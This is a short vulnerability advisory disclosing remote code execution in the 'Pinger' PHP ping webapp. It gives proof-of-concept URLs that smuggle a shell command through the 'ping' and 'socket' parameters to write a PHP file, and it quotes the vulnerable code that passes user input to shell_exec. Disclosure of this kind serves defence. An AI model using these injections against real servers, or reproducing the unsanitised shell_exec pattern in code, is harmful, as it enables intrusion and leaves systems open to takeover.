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Pinger Remote Code Execution

Posted on 19 December 2015

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Pinger - Simple Pinging Webapp Remote Code Execution
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# Vendor Homepage: https://github.com/wcchandler/pinger
# Date: 17/12/2015
# Software Link: http://ehsansec.ir/apps/pinger-master.zip
# Author: Ashiyane Digital Security Team
# Contact: hehsan979@gmail.com
# Source: http://ehsansec.ir/advisories/pinger-rce.txt
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# Description:
simple, easy to use jQuery frontend to php backend that pings various
devices and changes colors from green to red depending on if device is
up or down.

# PoC :

http://localhost/pinger/ping.php?ping=;echo '<?php phpinfo(); ?>' >info.php
http://localhost/pinger/ping.php?socket=;echo '<?php phpinfo(); ?>' >info.php

# Vulnerabile code:

 if(isset($_GET['ping'])){
 // if this is ever noticably slower, i'll pass it stuff when called
 // change the good.xml to config.xml, good is what I use at $WORK
 $xml = simplexml_load_file("config.xml");
 //$xml = simplexml_load_file("good.xml");
 if($_GET['ping'] == ""){
 $host = "127.0.0.1";
 }else{
 $host = $_GET['ping'];
 }
 $out = trim(shell_exec('ping -n -q -c 1 -w '.$xml->backend->timeout
 .' '.$host.' | grep received | awk '{print $4}''));
 $id = str_replace('.','_',$host);

 if(($out == "1") || ($out == "0")){
 echo json_encode(array("id"=>"h$id","res"=>"$out"));
 }else{
 ## if it returns nothing, assume network is messed up
 echo json_encode(array("id"=>"h$id","res"=>"0"));
 }
 }

 if(isset($_GET['socket'])){
 $xml = simplexml_load_file("config.xml");
 //$xml = simplexml_load_file("good.xml");
 if($_GET['socket'] == ""){
 $host = "127.0.0.1 80";
 }else{
 $host = str_replace(':',' ',$_GET['socket']);
 }
 $out = shell_exec('nc -v -z -w '.$xml->backend->timeout.' '.$host.' 2>&1');
 $id = str_replace('.','_',$host);
 $id = str_replace(' ','_',$id);
 if(preg_match("/succeeded/",$out)){
 echo json_encode(array("id"=>"h$id","res"=>"1"));
 }else{
 ## if it returns nothing, assume network is messed up
 echo json_encode(array("id"=>"h$id","res"=>"0"));
 }
 }

 ?>

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# Discovered By : Ehsan Hosseini
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